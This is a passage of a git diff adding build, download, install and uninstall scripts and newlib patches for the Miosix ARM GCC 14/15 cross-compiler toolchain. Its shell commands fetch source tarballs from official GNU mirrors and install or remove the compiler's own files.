VSUSP 10 ++#define VTIME 5 /* also VEOL */ ++#define VSTART 11 ++#define VSTOP 12 ++ ++/* tcsetattr opt */ ++#define TCSAFLUSH 0 ++#define TCSANOW 1 ++#define TCSADRAIN 2 ++ ++/* tcflush opt */ ++#define TCIFLUSH 0 ++#define TCOFLUSH 1 ++#define TCIOFLUSH 2 ++ ++#define NCCS 13 ++ ++typedef unsigned char cc_t; ++typedef unsigned int tcflag_t; ++typedef unsigned int speed_t; ++ ++struct termios ++{ ++ tcflag_t c_iflag; ++ tcflag_t c_oflag; ++ tcflag_t c_cflag; ++ tcflag_t c_lflag; ++ cc_t c_cc[NCCS]; ++}; ++ ++int tcgetattr(int fd, struct termios *t); ++int tcsetattr(int fd, int opt, const struct termios *t); ++speed_t cfgetospeed(const struct termios *t); ++int cfsetospeed(struct termios *t, speed_t speed); ++int tcdrain(int fd); ++int tcflush(int fd, int opt); ++ ++#endif /*_SYS_TERMIOS_H*/ +diff -ruN newlib-3.1.0-old/newlib/libc/sys/miosix/termios.c newlib-3.1.0/newlib/libc/sys/miosix/termios.c +--- newlib-3.1.0-old/newlib/libc/sys/miosix/termios.c 1970-01-01 01:00:00.000000000 +0100 ++++ newlib-3.1.0/newlib/libc/sys/miosix/termios.c 2024-07-26 22:02:58.653582053 +0200 +@@ -0,0 +1,46 @@ ++ ++#include ++#include ++#include ++ ++int tcgetattr(int fd, struct termios *t) ++{ ++ return ioctl(fd,IOCTL_TCGETATTR,(void*)t); ++} ++ ++int tcsetattr(int fd, int opt, const struct termios *t) ++{ ++ switch(opt) ++ { ++ case TCSAFLUSH: ++ return ioctl(fd,IOCTL_TCSETATTR_FLUSH,(void*)t); ++ case TCSANOW: ++ return ioctl(fd,IOCTL_TCSETATTR_NOW,(void*)t); ++ case TCSADRAIN: ++ return ioctl(fd,IOCTL_TCSETATTR_DRAIN,(void*)t); ++ default: ++ errno = EINVAL; ++ return -1; ++ } ++} ++ ++speed_t cfgetospeed(const struct termios *t) ++{ ++ return t->c_cflag & 0x00ffffff; ++} ++ ++int cfsetospeed(struct termios *t, speed_t speed) ++{ ++ t->c_cflag = (t->c_cflag & (~0x00ffffff)) | speed; ++ return 0; ++} ++ ++int tcdrain(int fd) ++{ ++ return ioctl(fd,IOCTL_SYNC,0); ++} ++ ++int tcflush(int fd, int opt) ++{ ++ return ioctl(fd,IOCTL_FLUSH,(void*)opt); ++} diff --git a/tools/compiler/gcc-14.2.0-mp4.0/patches/newlib_gcc14.patch b/tools/compiler/gcc-14.2.0-mp4.0/patches/newlib_gcc14.patch new file mode 100644 index 000000000..ddb4631c0 --- /dev/null +++ b/tools/compiler/gcc-14.2.0-mp4.0/patches/newlib_gcc14.patch @@ -0,0 +1,162 @@ +diff -ruN newlib-3.1.0/newlib/libc/include/sys/_pthreadtypes.h newlib-3.1.0-new/newlib/libc/include/sys/_pthreadtypes.h +--- newlib-3.1.0/newlib/libc/include/sys/_pthreadtypes.h 2025-05-04 17:27:54.772355648 +0200 ++++ newlib-3.1.0-new/newlib/libc/include/sys/_pthreadtypes.h 2025-05-04 17:32:29.530345974 +0200 +@@ -175,21 +175,12 @@ + + #else /* _MIOSIX */ + /* +- * The definition of pthread_mutex_t: +- * - has been changed from a simple int to a struct containing the actual mutex ++ * The definitions of pthread_mutex_t and pthread_mutexattr_t: ++ * - have been changed from a simple int to a struct containing the actual mutex + * implementation for speed reasons. +- * - has been moved to sys/lock.h because leaving it here and #including sys/_pthreadtypes.h ++ * - have been moved to sys/lock.h because leaving it here and #including sys/_pthreadtypes.h + * in sys/lock.h would have caused a cycle of #includes + */ +-typedef struct { +- char is_initialized; +- char prio; +- char recursive; +-} pthread_mutexattr_t; +- +-#define _PTHREAD_MUTEX_INITIALIZER {0,-1,0,0,0,0,0} +-/* NOTE: this is not defined in pthread.h, so no leading underscore */ +-#define PTHREAD_MUTEX_RECURSIVE_INITIALIZER_NP {0,0,0,0,0,0,0} + #endif /* _MIOSIX */ + + /* Condition Variables */ +diff -ruN newlib-3.1.0/newlib/libc/include/sys/stat.h newlib-3.1.0-new/newlib/libc/include/sys/stat.h +--- newlib-3.1.0/newlib/libc/include/sys/stat.h 2025-05-04 17:26:53.091069507 +0200 ++++ newlib-3.1.0-new/newlib/libc/include/sys/stat.h 2025-05-04 17:33:45.409610660 +0200 +@@ -152,7 +152,8 @@ + int stat (const char *__restrict __path, struct stat *__restrict __sbuf ); + mode_t umask (mode_t __mask ); + +-#if defined (__SPU__) || defined(__rtems__) || defined(__CYGWIN__) && !defined(__INSIDE_CYGWIN__) ++// Patch rationale: add lstat declaration for MIOSIX ++#if defined (__SPU__) || defined(_MIOSIX) || defined(__rtems__) || defined(__CYGWIN__) && !defined(__INSIDE_CYGWIN__) + int lstat (const char *__restrict __path, struct stat *__restrict __buf ); + int mknod (const char *__path, mode_t __mode, dev_t __dev ); + #endif +diff -ruN newlib-3.1.0/newlib/libc/posix/execl.c newlib-3.1.0-new/newlib/libc/posix/execl.c +--- newlib-3.1.0/newlib/libc/posix/execl.c 2025-05-04 17:40:16.955987400 +0200 ++++ newlib-3.1.0-new/newlib/libc/posix/execl.c 2025-05-04 17:40:47.551646532 +0200 +@@ -19,6 +19,9 @@ + + #include + ++// Add missing declaration when compiling for newer C standards ++int _execve (const char *filename, char *const argv[], char *const envp[]); ++ + int + execl (const char *path, + const char *arg0, ...) +diff -ruN newlib-3.1.0/newlib/libc/posix/execle.c newlib-3.1.0-new/newlib/libc/posix/execle.c +--- newlib-3.1.0/newlib/libc/posix/execle.c 2025-05-04 17:40:16.956657843 +0200 ++++ newlib-3.1.0-new/newlib/libc/posix/execle.c 2025-05-04 17:40:47.551938710 +0200 +@@ -14,6 +14,9 @@ + + #include + ++// Add missing declaration when compiling for newer C standards ++int _execve (const char *filename, char *const argv[], char *const envp[]); ++ + int + execle (const char *path, + const char *arg0, ...) +diff -ruN newlib-3.1.0/newlib/libc/posix/execv.c newlib-3.1.0-new/newlib/libc/posix/execv.c +--- newlib-3.1.0/newlib/libc/posix/execv.c 2025-05-04 17:40:16.956849421 +0200 ++++ newlib-3.1.0-new/newlib/libc/posix/execv.c 2025-05-04 17:40:47.552077878 +0200 +@@ -13,6 +13,9 @@ + 'environ'. */ + static char ***p_environ = &environ; + ++// Add missing declaration when compiling for newer C standards ++int _execve (const char *filename, char *const argv[], char *const envp[]); ++ + int + execv (const char *path, + char * const argv[]) +diff -ruN newlib-3.1.0/newlib/libc/posix/execve.c newlib-3.1.0-new/newlib/libc/posix/execve.c +--- newlib-3.1.0/newlib/libc/posix/execve.c 2025-05-04 17:40:16.956985647 +0200 ++++ newlib-3.1.0-new/newlib/libc/posix/execve.c 2025-05-04 17:40:47.552202261 +0200 +@@ -8,6 +8,8 @@ + + #include + ++// Add missing declaration when compiling for newer C standards ++int _execve (const char *filename, char *const argv[], char *const envp[]); + + int + execve (const char *path, +diff -ruN newlib-3.1.0/newlib/libc/posix/rewinddir.c newlib-3.1.0-new/newlib/libc/posix/rewinddir.c +--- newlib-3.1.0/newlib/libc/posix/rewinddir.c 2025-05-04 17:40:16.957169260 +0200 ++++ newlib-3.1.0-new/newlib/libc/posix/rewinddir.c 2025-05-04 17:40:47.552347841 +0200 +@@ -41,6 +41,9 @@ + #include + #include + ++// Needed by lseek in the _MIOSIX case ++#include ++ + void + rewinddir (DIR *dirp) + { +diff -ruN newlib-3.1.0/newlib/libc/posix/seekdir.c newlib-3.1.0-new/newlib/libc/posix/seekdir.c +--- newlib-3.1.0/newlib/libc/posix/seekdir.c 2025-05-04 17:40:16.957484545 +0200 ++++ newlib-3.1.0-new/newlib/libc/posix/seekdir.c 2025-05-04 17:40:47.552494010 +0200 +@@ -38,6 +38,8 @@ + #endif /* LIBC_SCCS and not lint */ + + #include ++// _seekdir is gated behing _COMPILING_NEWLIB which is undefined (but shouldn't) ++#define _COMPILING_NEWLIB + #include + #include + +diff -ruN newlib-3.1.0/newlib/libc/sys/miosix/sys/lock.h newlib-3.1.0-new/newlib/libc/sys/miosix/sys/lock.h +--- newlib-3.1.0/newlib/libc/sys/miosix/sys/lock.h 2025-05-04 17:27:54.787197911 +0200 ++++ newlib-3.1.0-new/newlib/libc/sys/miosix/sys/lock.h 2025-05-04 17:37:22.663948034 +0200 +@@ -30,6 +30,30 @@ + int type; /* Depending on how kernel is compiled, mutex type */ + } pthread_mutex_t; + ++typedef struct { ++ char is_initialized; ++ char prio; ++ char recursive; ++} pthread_mutexattr_t; ++ ++#define _PTHREAD_MUTEX_INITIALIZER {0,-1,0,0,0,0,0} ++/* NOTE: this is not defined in pthread.h, so no leading underscore */ ++#define PTHREAD_MUTEX_RECURSIVE_INITIALIZER_NP {0,0,0,0,0,0,0} ++ ++#ifdef __cplusplus ++extern "C" { ++#endif ++ ++int pthread_mutex_init(pthread_mutex_t *, const pthread_mutexattr_t *); ++int pthread_mutex_destroy(pthread_mutex_t *); ++int pthread_mutex_lock(pthread_mutex_t *); ++int pthread_mutex_trylock(pthread_mutex_t *); ++int pthread_mutex_unlock(pthread_mutex_t *); ++ ++#ifdef __cplusplus ++} ++#endif ++ + /* + * Finished declaring pthread stuff, now starting real content of lock.h + */ +@@ -37,8 +61,8 @@ + typedef pthread_mutex_t _LOCK_T; + typedef pthread_mutex_t _LOCK_RECURSIVE_T; + +-#define __LOCK_INIT(clazz,lock) clazz pthread_mutex_t lock = {0,-1,0,0,0,0,0} +-#define __LOCK_INIT_RECURSIVE(clazz,lock) clazz pthread_mutex_t lock = {0,0,0,0,0,0,0} ++#define __LOCK_INIT(clazz,lock) clazz pthread_mutex_t lock = _PTHREAD_MUTEX_INITIALIZER ++#define __LOCK_INIT_RECURSIVE(clazz,lock) clazz pthread_mutex_t lock = PTHREAD_MUTEX_RECURSIVE_INITIALIZER_NP + #define __lock_init(lock) pthread_mutex_init(&lock,NULL) + #define __lock_init_recursive(lock) \ + do { \ diff --git a/tools/compiler/gcc-14.2.0-mp4.0/ramdisk.sh b/tools/compiler/gcc-14.2.0-mp4.0/ramdisk.sh new file mode 100755 index 000000000..64fa77a84 --- /dev/null +++ b/tools/compiler/gcc-14.2.0-mp4.0/ramdisk.sh @@ -0,0 +1,32 @@ +#!/usr/bin/env bash + +# Useful script to speed up compilation and/or save write cycles on an SSD by +# compiling in a ramdisk. Only viable if you have at least 16GByte of RAM. + +case $(uname -s) in + Linux) + mkdir -p ramdisk + sudo umount ramdisk 2> /dev/null # If not already mounted it's not an error + sudo mount -t tmpfs -o size=12G,uid=`id -u`,gid=`id -g`,mode=700 tmpfs ramdisk + sudo -k + ;; + Darwin) + ramdisk_size=$(( 12 * 1024 * 1024 )) + ramdisk_name="miosix_ramdisk_$RANDOM" + diskutil erasevolume HFS+ "$ramdisk_name" $(hdiutil attach -nobrowse -nomount ram://$(( ramdisk_size ))) > /dev/stderr + ln -s "/Volumes/$ramdisk_name/" ./ramdisk + ;; + *) + echo "error: I don't know how to make a ramdisk on platform " $(uname -s) > /dev/stderr + exit 1 + ;; +esac + +ln -s `pwd`/downloaded ramdisk/downloaded +cp -R installers ramdisk +cp -R mx-postlinker ramdisk +cp -R patches ramdisk +cp cleanup.sh ramdisk +cp install-script.sh ramdisk +cp uninstall.sh ramdisk +cp lpc21isp_148_src.zip ramdisk diff --git a/tools/compiler/gcc-14.2.0-mp4.0/uninstall.sh b/tools/compiler/gcc-14.2.0-mp4.0/uninstall.sh new file mode 100755 index 000000000..2c790d65e --- /dev/null +++ b/tools/compiler/gcc-14.2.0-mp4.0/uninstall.sh @@ -0,0 +1,40 @@ +#!/usr/bin/env bash + +# Uninstall script: removes the arm-miosix-eabi-gcc compiler + +PREFIX="arm-miosix-eabi-" +# Do not remove any item from this list, some users may have installed a very old Miosix compiler +FILES="addr2line ar as c++ c++filt cpp elfedit g++ gcc gcc-ar gcc-nm gcc-ranlib gccbug gcov gcov-dump gcov-tool gdb gdbtui gdb-add-index gprof ld ld.bfd lto-dump nm objcopy objdump ranlib readelf run size strings strip" + +# Remove symlinks to the compiler +for i in $FILES; do + # install-script.sh installs links in /usr/bin + # Using -h because the file must be a symlink + if [ -h "/usr/bin/$PREFIX$i" ]; then + sudo rm "/usr/bin/$PREFIX$i" + fi + # Very old install-script.sh used to install links in /usr/local/bin, + # so remove also those links for backward compatibility + if [ -h "/usr/local/bin/$PREFIX$i" ]; then + sudo rm "/usr/local/bin/$PREFIX$i" + fi +done + +# Remove lpc21isp +if [ -h "/usr/bin/lpc21isp" ]; then + sudo rm "/usr/bin/lpc21isp" +fi +if [ -h "/usr/local/bin/lpc21isp" ]; then + sudo rm "/usr/local/bin/lpc21isp" +fi + +# Remove mx-postlinker +if [ -h "/usr/bin/mx-postlinker" ]; then + sudo rm "/usr/bin/mx-postlinker" +fi +if [ -h "/usr/local/bin/mx-postlinker" ]; then + sudo rm "/usr/local/bin/mx-postlinker" +fi + +# Remove the compiler +sudo rm -rf /opt/arm-miosix-eabi diff --git a/tools/compiler/gcc-15.2.0-mp4.2/.gitignore b/tools/compiler/gcc-15.2.0-mp4.2/.gitignore new file mode 100644 index 000000000..136442962 --- /dev/null +++ b/tools/compiler/gcc-15.2.0-mp4.2/.gitignore @@ -0,0 +1,17 @@ +downloaded +*_build +arm-miosix-eabi +lib +dist +log +ramdisk +binutils-* +gcc-* +gdb-* +gmp-* +mpc-* +mpfr-* +newlib-* +expat-* +# Generated by install-script.sh during local builds +env.sh diff --git a/tools/compiler/gcc-15.2.0-mp4.2/cleanup.sh b/tools/compiler/gcc-15.2.0-mp4.2/cleanup.sh new file mode 100644 index 000000000..6031d86ea --- /dev/null +++ b/tools/compiler/gcc-15.2.0-mp4.2/cleanup.sh @@ -0,0 +1,22 @@ +#!/usr/bin/env bash + +# After running install-script.sh, this script will clean up temporary files. +# It will not remove the files created by the download.sh script, so that +# running install-script.sh is possible without re-downloading them. + +# Source code +rm -rf binutils-2.45 gcc-15.2.0 gdb-16.3 newlib-4.6.0.20260123 gmp-6.3.0 \ + mpfr-4.2.2 mpc-1.3.1 make-4.4.1 expat-2.7.3 ncurses-6.5 makeself-2.6.0 + +# Build directories +rm -rf binutils_build gdb_build newlib_build +rm -rf gcc_build log +if [[ $? -ne 0 ]]; then + sudo rm -rf gcc_build log +fi + +# Temporary install locations +rm -rf lib dist + +# Installer scripts generated by the build scripts on macOS +rm -rf installers/macos/Scripts diff --git a/tools/compiler/gcc-15.2.0-mp4.2/download.sh b/tools/compiler/gcc-15.2.0-mp4.2/download.sh new file mode 100644 index 000000000..e89aacad6 --- /dev/null +++ b/tools/compiler/gcc-15.2.0-mp4.2/download.sh @@ -0,0 +1,22 @@ +#!/bin/sh + +# This simple script will download all the required source files +# for compiling arm-miosix-eabi-gcc + +mkdir downloaded || exit +cd downloaded + +# macOS does not ship with wget, check if it exists and otherwise use curl +if command -v wget > /dev/null; then + WGET=wget +else + WGET='curl -LO' +fi + +$WGET https://ftp.gnu.org/gnu/binutils/binutils-2.45.tar.xz +$WGET https://ftp.gnu.org/gnu/gcc/gcc-15.2.0/gcc-15.2.0.tar.xz +$WGET https://sourceware.org/pub/newlib/newlib-4.6.0.20260123.tar.gz +$WGET https://ftp.gnu.org/gnu/gdb/gdb-16.3.tar.xz +$WGET https://ftp.gnu.org/gnu/gmp/gmp-6.3.0.tar.xz +$WGET https://ftp.gnu.org/gnu/mpfr/mpfr-4.2.2.tar.xz +$WGET https://ftp.gnu.org/gnu/mpc/mpc-1.3.1.tar.gz diff --git a/tools/compiler/gcc-15.2.0-mp4.2/install-script.sh b/tools/compiler/gcc-15.2.0-mp4.2/install-script.sh new file mode 100644 index 000000000..ebda45bfb --- /dev/null +++ b/tools/compiler/gcc-15.2.0-mp4.2/install-script.sh @@ -0,0 +1,992 @@ +#!/usr/bin/env bash + +# Script to build the gcc compiler required for Miosix. +# Usage: ./install-script -j`nproc` +# The -j parameter is passed to make for parallel compilation +# +# Starting from Miosix 1.58 the use of the arm-miosix-eabi-gcc compiler built +# by this script has become mandatory due to patches related to posix threads +# in newlib. The kernel *won't* compile unless the correct compiler is used. +# +# Starting from 04/2014 this script is also used to build binary releases +# of the Miosix compiler for both linux and windows. Most users will want to +# download the binary relase from https://miosix.org instead of compiling GCC +# using this script. + +#### Configuration tunables -- begin #### + +__GCCPATCUR='4.2' # Can't autodetect this one easily from gcc.patch + +# This should be set to true unless you're installing locally on your Linux +# machine the compiler that will be used to do canadian cross compiling for +# making a Windows redistributable build. The compiler built with this variable +# set to false should only be used for this purpose, as it will contain the +# stubs.o in libc with dummy implementations of some core functionality which +# sometimes get linked in resulting in kernel builds being subtly non-functional +STRIP_STUBS_FROM_LIBC=true + +# Uncomment if installing globally on this system +PREFIX=/opt/arm-miosix-eabi +DESTDIR= +SUDO=sudo +# Uncomment if installing locally on this system, sudo isn't necessary +#PREFIX=`pwd`/arm-miosix-eabi +#DESTDIR= +#SUDO= +# Uncomment for producing a package for redistribution. The prefix is set to the +# final install directory, but when this script does "make install" files are +# copied with $DESTDIR as prefix. When doing a redistibutable build you also +# have to specify HOST or (on Mac OS), BUILD, see below. +# When compiling the Windows installer, do not change the default values! +#PREFIX=/opt/arm-miosix-eabi +#DESTDIR=`pwd`/dist +#SUDO= + +# Uncomment if targeting a local install. This will use -march= -mtune= flags +# to optimize for your processor, but the code won't be portable to other +# architectures, so don't distribute it +BUILD= +HOST= +# Uncomment if targeting linux 64 bit (distributable) +#BUILD= +#HOST=x86_64-linux-gnu +# Uncomment if targeting windows 64 bit (distributable) +# You have to run this script from Linux anyway (see canadian cross compiling). +# Must first install the mingw-w64 toolchain. +#BUILD= +#HOST=x86_64-w64-mingw32 +# Uncomment if targeting macOS 64 bit Intel (distributable), compiling on Linux +# Must first install the osxcross toolchain +#BUILD= +#HOST=x86_64-apple-darwin18 +# Uncomment if targeting macOS 64 bit Intel (distributable), compiling on macOS. +# The script must be run under macOS and without canadian cross compiling +# because it confuses autotools's configuration scripts. Instead we set the +# compiler options for macOS minimum version and architecture in order to be +# able to deploy the binaries on older machines and OS versions. We also must +# force --build and --host to specify a x86_64 cpu to avoid +# architecture-dependent code. +#BUILD=x86_64-apple-darwin17 +#HOST= +#export CFLAGS='-mmacos-version-min=10.13 -O3' +#export CXXFLAGS='-mmacos-version-min=10.13 -O3' +# Uncomment if targeting macOS 64 bit ARM64 (distributable). +# Run the script under arm64 macOS. +#BUILD=aarch64-apple-darwin20 +#HOST= +#export CFLAGS='-mmacos-version-min=11.0 -O3' +#export CXXFLAGS='-mmacos-version-min=11.0 -O3' + +#### Configuration tunables -- end #### + +# Libraries are compiled statically, so they are never installed in the system +LIB_DIR=`pwd`/lib + +# Program versions +BINUTILS=binutils-2.45 +GCC=gcc-15.2.0 +NEWLIB=newlib-4.6.0.20260123 +GDB=gdb-16.3 +GMP=gmp-6.3.0 +MPFR=mpfr-4.2.2 +MPC=mpc-1.3.1 +NCURSES=ncurses-6.5 +MAKE=make-4.4.1 +MAKESELF=makeself-2.6.0 +EXPAT=expat-2.7.3 + +quit() { + echo $1 + exit 1 +} + +# Ensure the install destination is clean. If it is not, old and new +# compiler files will mix up, potentially making the compilation fail. +# This also applies to redistributable compilation because we need to make +# symlinks inside $PREFIX to make the whole process work. +# Don't do this check if canadian cross compiling for Windows though because we +# need a working compiler installed in the right place for the host machine. +if [[ -d "$PREFIX" && ! ( "$HOST" == *mingw* ) ]]; then + quit ":: Uninstall (or move away) the existing compiler first" +fi + +# Is it a redistributable build? +if [[ $DESTDIR ]]; then + if [[ $SUDO ]]; then + quit ":: Error global install and distributable compiling are mutually exclusive" + fi + if [[ -d "$DESTDIR" ]]; then + quit ":: Remove staging directory ($DESTDIR) first" + fi + if [[ $(uname -s) == 'Darwin' ]]; then + if [[ -z $BUILD ]]; then + quit ":: Error distributable compiling but no BUILD specifed" + fi + else + if [[ -z $HOST ]]; then + quit ":: Error distributable compiling but no HOST specifed" + fi + fi + # Clean up PATH as even though it is a list of executables it also avoids + # finding system-installed libraries that won't be present when actually + # installing the compiler. This is mostly relevant for macOS, because Linux + # distributions install all packages (system-required and user-requested) + # in the same place, making redistributable builds basically impossible + # without at least uninstalling the previous version of the Miosix compiler, + # and checking with the checkdeps.sh script that no additional libraries + # have been linked. + export PATH=/usr/bin:/bin:/usr/sbin:/sbin + # When building a redistributable build, we use DESTDIR. Thus, the + # compiler is "installed" to $DESTDIR$PREFIX even though it is meant to + # be run from $PREFIX. There is an issue though: building the standard + # libraries requires the to-be-built compiler, which isn't found, so + # building fails at the newlib stage. We wish the fix would just be a + # export PATH=$DESTDIR$PREFIX/bin:$PATH + # but turns out that isn't enough, as after newlib is built, the + # subsequent libraries (part of gcc-end) don't just require the compiler, + # they require the libc too that is installed in $DESTDIR$PREFIX, but + # the compiler looks for it in $PREFIX only... + # As a workaround, we temporarily do a symlink to make the compiler + # and standard libraries available from their final path, $PREFIX during + # the compilation process. + # Moreover, just symlinking /opt/arm-miosix-eabi fails, so we need to + # symlink only /opt/arm-miosix-eabi/arm-miosix-eabi + # Finally, the exception is the windows redistributable that is built with + # canadian cross compiling and needs the same version of the compiler to be + # installed in /opt, so we can't make symlinks in /opt as it's not empty + if [[ $HOST != *mingw* ]]; then + export PATH=$DESTDIR$PREFIX/bin:$PATH + mkdir -p $DESTDIR$PREFIX/arm-miosix-eabi + # Workaround for the --with-headers issue, see --with-headers comment. + # This must unconditionally be done with sudo so it's important we use + # sudo and not $SUDO. + sudo mkdir -p $PREFIX + sudo ln -s $DESTDIR$PREFIX/arm-miosix-eabi $PREFIX/arm-miosix-eabi + fi +else + if [[ $HOST || $BUILD ]]; then + # NOTE: doing a non redistributable build but specifying HOST or BUILD + # may work, but is untested. Remove this line if you want to try. + quit ":: Specifying either HOST or BUILD without DESTDIR is not supported" + fi + # Add the install prefix to the path in order to ensure tools are + # available as soon as we build them. + export PATH=$PREFIX/bin:$PATH +fi + +# Are we canadian cross compiling? +if [[ $HOST ]]; then + # Canadian cross compiling requires the compiler for the host machine + which "$HOST-gcc" > /dev/null || quit ":: Error must have host cross compiler" + + HOSTCC="$HOST-gcc" + HOSTCXX="$HOST-g++" + HOSTSTRIP="$HOST-strip" + if [[ $HOST == *mingw* ]]; then + # For windows not to depend on libstdc++.dll + HOSTLDFLAGS="-static-libstdc++ -static-libgcc" + EXT=".exe" + else + HOSTLDFLAGS= + EXT= + fi +else + HOSTCC=gcc + HOSTCXX=g++ + HOSTSTRIP=strip + HOSTLDFLAGS= + EXT= +fi + +if [[ -z "$CMAKE" ]]; then + CMAKE=cmake +fi +which "$CMAKE" > /dev/null || quit ":: Error cmake is required" + +if [[ $1 == '' ]]; then + if command -v nproc > /dev/null; then + PARALLEL="-j$(nproc)" + elif [[ $(uname -s) == 'Darwin' ]]; then + PARALLEL="-j$(sysctl -n hw.logicalcpu)" + else + PARALLEL="-j1"; + fi +else + PARALLEL=$1; +fi + +# +# Part 1/2: extract data, apply patches +# + +extract() +{ + label=$1 + filename=$2 + shift 2 + directory=${filename%.tar*} + + if [[ -e $directory ]]; then + echo "Skipping extraction/patching of $label, directory $directory exists" + else + echo "Extracting $label..." + tar -xf "downloaded/$filename" || quit ":: Error extracting $label" + for patchfile in $@; do + echo "Applying ${patchfile}..." + patch -p0 < "$patchfile" || quit ":: Failed patching $label" + done + fi +} + +extract 'binutils' $BINUTILS.tar.xz patches/binutils.patch +extract 'gcc' $GCC.tar.xz patches/gcc.patch +extract 'newlib' $NEWLIB.tar.gz patches/newlib.patch +extract 'gdb' $GDB.tar.xz patches/gdb.patch +extract 'gmp' $GMP.tar.xz +extract 'mpfr' $MPFR.tar.xz +extract 'mpc' $MPC.tar.gz + +if [[ $HOST == *mingw* ]]; then + extract 'make' $MAKE.tar.gz +fi +if [[ $HOST == *linux* ]]; then + extract 'ncurses' $NCURSES.tar.gz +fi +if [[ $DESTDIR ]]; then + extract 'expat' $EXPAT.tar.xz +fi + +mkdir log + +# +# Part 3: compile libraries +# + +cd $GMP + +if [[ $HOST ]]; then + # GMP's configure script is bugged and does not properly handle canadian cross + # compiling, so we need to properly inform it manually by setting these + # environment variables. See also: https://gmplib.org/list-archives/gmp-discuss/2020-July/006519.html + export CC_FOR_BUILD='gcc' + export CPP_FOR_BUILD='g++' +fi + +if [[ $(uname -s) == 'Darwin' ]]; then + # On macOS, the assembly implementations in GMP intermittently cause + # either compilation failures or broken builds. Disable them + MX_GMP_ASSEMBLY="--disable-assembly" +else + MX_GMP_ASSEMBLY="" +fi + +echo "Configuring $GMP..." +./configure \ + --build=$BUILD \ + --host=$HOST \ + --prefix=$LIB_DIR \ + --enable-static --disable-shared \ + $MX_GMP_ASSEMBLY \ + &> ../log/03_1_gmp_1_configure.txt \ + || quit ":: Error configuring gmp" + +echo "Building $GMP..." +make all $PARALLEL &> ../log/03_1_gmp_2_build.txt \ + || quit ":: Error compiling gmp" + +echo "Testing $GMP..." +if [[ ! $HOST ]]; then + # Don't check if cross-compiling + make check $PARALLEL &> ../log/03_1_gmp_3_check.txt \ + || quit ":: Error testing gmp" +fi + +echo "Installing $GMP..." +make install &>../log/03_1_gmp_4_install.txt \ + || quit ":: Error installing gmp" + +if [[ $HOST ]]; then + unset CC_FOR_BUILD + unset CPP_FOR_BUILD +fi + +cd .. + +cd $MPFR + +echo "Configuring $MPFR..." +./configure \ + --build=$BUILD \ + --host=$HOST \ + --prefix=$LIB_DIR \ + --enable-static --disable-shared \ + --with-gmp=$LIB_DIR \ + &> ../log/03_2_mpfr_1_configure.txt \ + || quit ":: Error configuring mpfr" + +echo "Building $MPFR..." +make all $PARALLEL &> ../log/03_2_mpfr_2_build.txt \ + || quit ":: Error compiling mpfr" + +echo "Testing $MPFR..." +if [[ ! $HOST ]]; then + # Don't check if cross-compiling + make check $PARALLEL &> ../log/03_2_mpfr_3_check.txt \ + || quit ":: Error testing mpfr" +fi + +echo "Installing $MPFR..." +make install &>../log/03_2_mpfr_4_install.txt \ + || quit ":: Error installing mpfr" + +cd .. + +cd $MPC + +echo "Configuring $MPC..." +./configure \ + --build=$BUILD \ + --host=$HOST \ + --prefix=$LIB_DIR \ + --enable-static --disable-shared \ + --with-gmp=$LIB_DIR \ + --with-mpfr=$LIB_DIR \ + &> ../log/03_3_mpc_1_configure.txt \ + || quit ":: Error configuring mpc" + +echo "Building $MPC..." +make all $PARALLEL &> ../log/03_3_mpc_2_build.txt \ + || quit ":: Error compiling mpc" + +echo "Testing $MPC..." +if [[ ! $HOST ]]; then + # Don't check if cross-compiling for windows + make check $PARALLEL &>../log/03_3_mpc_3_check.txt \ + || quit ":: Error testing mpc" +fi + +echo "Installing $MPC..." +make install &>../log/03_3_mpc_4_install.txt \ + || quit ":: Error installing mpc" + +cd .. + +# +# Part 4: compile and install binutils +# + +mkdir binutils_build +cd binutils_build + +echo "Configuring $BINUTILS..." +../$BINUTILS/configure \ + --build=$BUILD \ + --host=$HOST \ + --target=arm-miosix-eabi \ + --prefix=$PREFIX \ + --enable-interwork \ + --enable-multilib \ + --enable-lto \ + --disable-werror &>../log/04_binutils_1_configure.txt \ + || quit ":: Error configuring binutils" + +echo "Building $BINUTILS..." +make all $PARALLEL &>../log/04_binutils_2_build.txt \ + || quit ":: Error compiling binutils" + +echo "Installing $BINUTILS..." +$SUDO make install DESTDIR=$DESTDIR &>../log/04_binutils_3_install.txt \ + || quit ":: Error installing binutils" + +cd .. + +# +# Part 5: compile and install gcc-start +# + +mkdir gcc_build +cd gcc_build + +# WORKARAOUND: GCC needs the C headers of the target, therefore when configured +# --with-headers=[...] the configure script unconditionally copies those headers +# in the $PREFIX/arm-miosix-eabi/sys-include folder. +# This is fine for local installs, (up to a certain point, see later comments), +# and works even for redistributable builds thanks to the symlink that was done +# of $DESTDIR$PREFIX to $PREFIX. However for Windows distributable builds since +# we're canadian cross compiling, we already have the headers in +# $PREFIX/arm-miosix-eabi/include (not in sys-include!) and we don't want to +# touch the existing install, thus we switch to using --with-sysroot. +# All this is a massive pile of kludges, what we would like to do is for the GCC +# configure to copy the headers to $DESTDIR$PREFIX/arm-miosix-eabi/sys-include +# instead of $PREFIX/arm-miosix-eabi/sys-include, and look for them there. +# That would remove the need for the symlink done with sudo and work the same +# way for non-redistributable, redistributable and canadian redistributable. +# Moreover the GCC makefiles are not clever enough to search in `include` +# rather than `sys-include` when checking if limits.h exists to decide whether +# to "fix" it. Since `sys-include` does not exists, GCC does not find limits.h +# and replaces it with its own, which does not include all definitions made +# by newlib's one. To be more precise, GCC always replaces limits.h with its own +# in $PREFIX/lib/gcc/arm-miosix-eabi/15.2.0/include +# but only if it correctly figures out that there's another one it patches that +# file by adding an #include_next to also include the newlib one. +# This incorrect file ends up installed and used by the built GCC causing build +# failures usually related to missing defines used by dirent.h. +# We thus must differentiate the case in which we are canadian cross compiling. +# In that case we use --with-sysroot and --with-native-system-header-dir to +# instruct the GCC configure script to set CROSS_SYSTEM_HEADER_DIR to the place +# where we already have our headers available, without attempting to copy stuff +# in $PREFIX. +if [[ $HOST == *mingw* ]]; then + __GCC_CONF_HEADERS_PARAM="--with-sysroot=$PREFIX/arm-miosix-eabi --with-native-system-header-dir=/include" +else + __GCC_CONF_HEADERS_PARAM=--with-headers=../$NEWLIB/newlib/libc/include +fi + +# About --enable-libstdcxx-static-eh-pool, --with-libstdcxx-eh-pool-obj-count=3: +# we used to patch eh_alloc.cc to reduce the C++ emergency exception allocation +# pool to limit the amount of RAM it uses. In GCC 15.2.0 it is no longer needed +# as it can be configured. The formula for the used RAM is: +# pool_size = EMERGENCY_OBJ_COUNT * (EMERGENCY_OBJ_SIZE * P + R + D) +# EMERGENCY_OBJ_COUNT is set via --with-libstdcxx-eh-pool-obj-count, so is 3 +# EMERGENCY_OBJ_SIZE is fixed to 6, a reasonable exception 